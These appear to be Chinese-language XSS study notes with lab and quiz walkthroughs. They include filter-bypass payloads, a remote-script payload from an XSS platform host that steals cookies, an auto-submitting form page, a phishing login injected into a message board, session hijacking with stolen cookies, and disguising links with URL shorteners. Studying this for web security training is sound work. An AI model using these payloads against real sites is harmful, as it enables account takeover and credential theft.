XSS
跨站脚本攻击
原理
由于web应用对输入和输出没有进行严格过滤,导致输入的脚本(如js代码),又输入到前端,被浏览器当作有效代码解析执行从而产生危害,如cookie泄露
JS
alert(1) 弹窗
危害
在各种社交平台,邮件系统,开源流行的Web应用,BBS,微博等 场景中,造成的杀伤力十分强大。cookie泄露,网站挂马
常见攻击手段
XSS漏洞可以用来进行钓鱼攻击、获取键盘记录、用户cookie获取等。甚至
可以结合浏览器自身的漏洞对用户主机进行远程控制等。

分类
反射型
一次性的,交互的数据一般不会被存在在数据库里面,一般出现在查询类页面等
首先,发现某web网站上有xss漏洞,然后攻击者把包含恶意js脚本的链接发给用户,然后用户点击该链接,访问页面,服务器返回包含恶意js脚本的链接的页面给浏览器,浏览器解析js脚本之后,将cookie弹给攻击者
存储型
永久性,交互的数据会被存在在数据库里面,一般出现在留言板,注册等页面,访问页面即可触发
首先,发现某web网站上有xss漏洞,然后攻击者把包含恶意js脚本的链接发给服务器存起来,然后用户登录网站,访问页面,服务器返回包含恶意js脚本的链接的页面给浏览器,浏览器解析js脚本之后,将cookie弹给攻击者
DOM型
一次性,不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题
首先,发现某web网站上有xss漏洞,然后攻击者把包含恶意js脚本的链接发给前端页面,然后用户登录网站,访问页面,浏览器解析js脚本之后,将cookie弹给攻击者
防御
1)字符实体化
2)关键字去除
3)尖括号去除

同源策略
用于各个网站只能查询自己的信息,只有和本网站同源的脚本才会被执行
同源条件
协议,域名,端口一样
在HTML语言中,有部分标签在引用第三方资源时,不受同源策略的限制:
带有src属性的标签,在加载时,实际是生成一条GET请求,向指定服务器申请资源。
html
<script> <script src='http://www.tianyisheng.con/cnjquery.js'>
<img> <img src='http://www.tianyisheng.con.cn/back. jpg'>
<iframe> 这个是可以使一个主页面旁边显示一个单独的页面
<link>
测试
将输入的js代码又返回到前端解析,当可以实现alert弹窗,就表明有xss漏洞
这里测试时无任何过滤
1、反射型
get
<script>alert("xss")</script>

这里输入数据限制了长度,是前端页面限制的,所以可以通过bp抓包修改、在url上修改、直接把maxlength改了,来解决这个问题

有弹窗就说明输入的js代码被解析了,就是有xss
post
和上面一样,使用admin/admin登录之后,上传js脚本就行

2、存储型
py
<script>alert("xss")</script>
在留言板输入,然后让别人访问http://192.168.xxx.xxx/06/vul/xss/xss_stored.php,然后如果有弹窗,就有xss
3、DOM型
py
<script>alert("xss")</script>

当前端输入,点击按钮就会去运行上面那个函数,获取元素的value
将"<a href='"+str+"'>what do you see?</a>";赋值给<div id="dom"></div>里面的id

然后点击输入框下方的连接
[what do you see?](http://192.168.xxx.xxx/06/vul/xss/alert("xss"))
产生弹窗就是有xss
实战练习
在线xss平台:https://xssaq.com/,在谷歌上访问,不要自己去搭建

然后去里面复制一个构造好的js脚本

1、反射型
get
去有漏洞的网站上构造链接,发给别人,让别人点击
http://192.168.xx.xxx/06/vul/xss/xss_reflected_get.php?message=<sCRiPt sRC=//xs.pe/a5l></sCrIpT>&submit=submit

然后这里就可以看到别人的cookie了

如果这个网址看起来太长,就去搜索"短网址",把网址变得正常点
post
首先,攻击者在自己的web服务器上构造一个自动提交的页面,然后把自动提交的这个链接发给受害者,受害者去访问攻击者的web页面,然后会触发自动的post提交,提交给有xss的网站服务器,然后有xss的网站服务器把响应包发给受害者浏览器,受害者浏览器接收了这个带有js脚本的响应包并解析,然后把cookie发给xss平台。


改一下
html
原始代码
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.xxx.xxx/06/vul/xss/xsspost/xss_reflected_post.php" method="POST" id="myform">
<input type="hidden" name="message" value="<sCRiPt sRC=//xs.pe/a5l></sCrIpT>" />
</form>
<script type="text/javascript">
//页面加载时自动提交form表单
window.onload = function(){
document.getElementById('myform').submit();
}
</script>
</body>
</html>
其中,action里面是有xss漏洞的网站,然后第一个value的值换成xss平台上面的攻击代码,
script里面改成自动提交,但本题上传需要提交一个submit参数,所以用下面的代码
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.xxx.xxx/06/vul/xss/xsspost/xss_reflected_post.php" method="POST" >
<input type="hidden" name="message" value="<sCRiPt sRC=//xs.pe/a5l></sCrIpT>" />
<input type="hidden" name="submit" id="myform" />
</form>
<script type="text/javascript">
//页面加载时自动提交form表单
window.onload = function(){
document.getElementById('myform').click();
}
</script>
</body>
</html>
然后把这个脚本放在自己的web服务器上,让别人访问,就可以触发
2、存储型
<sCRiPt sRC=//xs.pe/a5l></sCrIpT>
在留言板输入,然后让别人访问该网站(http://192.168.xxx.xxx/06/vul/xss/xss_stored.php)就行
漏洞利用
获取cookie之后,将那些网站的cookie换成用户的,就可以利用别人的身份去登录网站了

抓包,在设置的"Match and Replace"模块里面,Cookie: xxx中间要有空格,然后把xxx换成xss平台上面获取到的cookie

然后勾上,表示之后每一个数据包的cookie都要换成这里写的那个
比赛时的钓鱼网站攻击练习
php版本5.0,对于输入的引号默认转义,后面的版本取消了
py
<script src="http://192.168.3.101/pkxss/xfish/fish.php">
</script>
其中网址应该为xss管理后台
在pkxss/xfish的fish.php里面,有一个登录框,当用户输入信息之后,信息会被传到管理后台存起来
将这个代码输入到留言板,然后将留言板的这个页面发给用户,让用户访问,然后他们可能就会输入信息,然后后台就能得到他们的信息
比赛时漏洞探测方法
1、输入内容插入到<>外部
正常输入,不需要闭合
py
<script>alert("xss")</script>
<img src=1 onerror=alert("xss")>


###2、输入内容插入到<>内部
(1)引号内部
1)用'>闭合前面的input标签
后面不用闭合是因为浏览器本身能解析不完整的html代码,但js不完整就要报错
py
1'><script>alert("xss")</script>
2)添加新的属性,用自动聚焦
py
1' autofocus onfocus='alert("xss")
前面的'闭合前面的内容,后面的'对应后面的'

3)如果'被过滤了,要看输入的内容在某些标签里面能否被解析了,如果没有特殊属性就没有xss
py
这里输入
1'><script>alert("xss")</script>
结果是'消失了,说明还是有过滤

刚好这里后面有一个a标签,里面可以运行js代码
javascript:alert("xss")

(2)引号外部
1)用>闭合前面的标签
py
><script>alert("xss")</script>

2)添加新的属性,用自动聚焦,根据代码来看,不用闭合
py
autofocus onfocus=alert("xss")
3、输入内容插入到script内部
(1)引号内部
1)用";进行前后闭合,不能少一个,js报错就不会执行代码了
py
";alert("xss");"

2)如果'和"被过滤了,要看输入的内容在某些标签里面能否被解析了,没有特殊情况就没有xss
py
这里输入
";alert("xss");"
结果是"消失了,说明还是有过滤

这里有两种情况,可以运行js代码
<img src=1 onerror=alert(1)>

(2)引号外部
直接执行,不用闭合
py
alert("xss")
比赛时xss编码绕过防火墙的方法
gpc 过滤字符
如果 gpc 开启的时候,特殊字符会被加上斜杠即,'会变成\'xss 攻击代码不要带用单引号或双引号。
绕过 gpc 在 php 高版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes() 对特殊字符进行转义。
html
<script src='http://www.xss123.com/JGdbsl?1623638390'></script>
这个是执行不了的
<script src=http://www.xss123.com/JGdbsl?1623638390></script>
没有单引号可执行。
大小写绕过
把html标签改成大写,不要改函数
py
<SCript>alert("xss")</script>
双写绕过
关键字替换为空才用,替换为其他的就不行了
py
<scscriptript>alert("xss")</scscriptript>
过滤 alert*
alert 这个函数会弹窗 , 很多程序会对他进行过滤, 所以不要用 alert
以下几个函数也是弹窗,但不会被过滤
html
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
过滤标签
在程序里如果使用 html 实体过滤在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。
echo htmlspecialchars($_GET['id'])
比如用了这句,id后面传的代码就都会被实体化
把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或者>,这两个字符被实体化后在 html 里就不能执行了。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为'
< (小于)成为 <
>(大于)成为 >
但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。
html
<input type="text" name="username" value="" onclick="javascript:alert('xss');"/>
在get框里,比如让输入username,就写:
html
username=aa'onclick='javascript:alert('xss')
ascii 编码
html
<script>alert(String.fromCharCode(88,83,83))</script>
和
<script>alert('xss');</script>
效果一样的
url 编码*
html
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
javascript:%61%6c%65%72%74%28%32%29表示javascript:alert(2)
运行后会生成一个123的,点一下,就可以了
JS 编码*
去这个网站转换
https://www.jb51.net/tools/zhuanhuan.htm
如果()被过滤了,可以用反引号代替
1.八进制编码
html
<script>eval("\141\154\145\162\164\50\61\51");</script>
\141\154\145\162\164\50\61\51表示alert(1)
结果是弹窗输出1
2.十六进制编码
html
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
\x61\x6c\x65\x72\x74\x28\x31\x29表示alert(1)
3.jsunicode 编码
html
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
\u0061\u006c\u0065\u0072\u0074表示alert
HTML 编码*
在=后可以解析 html 编码,&colon可以代替:,&NewLine可以代替换行
一般用于插入a连接里面
1.十进制,<
html
<img src="x" onerror="alert(1)" />
<button onclick="confirm('7');">Button</button>
其中"alert(1)"表示alert(1)
输入的时候就写:
<img src="x" onerror="alert(1)" />
2.十六进制,<
html
<img src="x" onerror="alert(1)" />
其中"alert(1)"表示alert(1)
可以在数字前面加很多0来绕过防火墙,比如a
base64 编码*
使用伪协议 base64 解码执行 xss,输入可弹窗
html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==表示:<script>alert(1);</script>
一些在线例题及作业
xss-lab在线例题
所有的测试都是输入
<script>alert('"1"')</script>
1、
无任何过滤
js
<script>alert(1)</script>

2、

插入<>和引号内部,本题无过滤
1"><script>alert("xss")</script>
3、

"和>被预定义,所以使用新增属性
' autofocus onfocus='alert(1)
4、

<>被过滤,所以使用新增属性
" autofocus onfocus="alert(1)
5、

乍一看,无过滤,但是,输入发现script被过滤了

所以不要用script,然后发现onclick和onfous也不行,双写和大小写绕过也不得行,这里采用a链接+伪协议
1"><a href="javascript:alert(1)">123</a>
6、

采用上一题的方法,发现不行

data、onfocus都不行,尝试大小写,可以
" autofocus ONfocus="alert(1)
7、

发现过滤了script,尝试双写绕过
py
"><scscriptript>alert("xss")</scscriptript>
8、

"和>被过滤,不能使用"闭合添加属性,然后下面有a标签,但是script也被破坏了
javascript:alert(1)
尝试大小写,不行,尝试各种编码,base64的破坏了data,html编码可行
javascript:alert(1)
9、

发现过滤了"和<>,

尝试使用javascript:alert(1),但a标签里面没有生成链接

输入http://www.baidu.com,就可以www.baidu.com和https://www.baidu.com都不行,可能是要检测有没有http://
可以尝试注释
javascript:alert(1) //http://

然后又被破坏了,尝试用html编码
javascript:alert(1)//http://
10、

发现过滤了"和<>,而且还不知道内容插到哪里去了
看到下面有三个参数,尝试url插入参数
t_link=1&&t_history=2&&t_sort=3

发现第三个参数可以插入,尝试插入测试语句

发现<>被过滤了,但可以"闭合,尝试添加属性
" autofocus onfocus="alert(1)

但是发现没有弹窗,可能是因为type="hidden"的问题,所以再加一个type
" autofocus onfocus="alert(1)" type="text
作业
网站为:https://xss-quiz.int21h.jp/
所有的测试都是输入
<script>alert('"1"')</script>
1、
无过滤,根据要求输出即可
<script>alert(document.domain)</script>

2、

插入到<>和""内部,无过滤,尝试闭合属性,新增属性
或者闭合标签
" autofocus onfocus="alert(document.domain)
或
"><script>alert(document.domain)</script
3、

插入到<>和""内部,无过滤,尝试闭合属性,新增属性
或者闭合标签,发现好像不行
" autofocus onfocus="alert(document.domain)
"><script>alert(document.domain)</script><

这一关有两个参数,一个是 place 的另一个是 country ,直接在 place 中执行 JS 代码是不行的,因为是 POST 表单提交的,所以要抓包修改参数尝试第二个参数 country,发现直接修改可行
<script>alert(document.domain)</script>

4、

看情况还是要抓包修改

抓包发现有三个参数,第三个看起来不错,但直接修改好像不行

查看源码,发现p3参数需要闭合

所以
"><script>alert(document.domain)</script><
5、

这道题限制了长度,所以修改长度,闭合标签
"><script>alert(document.domain)</script><

6、

过滤了<>,可以直接添加属性
"onclick="alert(document.domain)
7、

发现输入双引号不能去闭合前面的双引号,使用空格绕过,闭合前面的双引号
1 onclick=alert(document.domain)
插入效果是这样的

8、

发现生产了一个链接,所以直接采用js代码
javascript:alert(document.domain)
9、

双引号无法闭合,空格绕过不行,尝试抓包

发现了一个新的编码
查了下发现是日本编码,需要使用 IE7浏览器 将payload构造为 UTF-7编码
p1=1%2bACI- onclick=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
10、

正常闭合标签,发现domain 被过滤了

尝试双写绕过
"><script>alert(document.domadomainin)</script>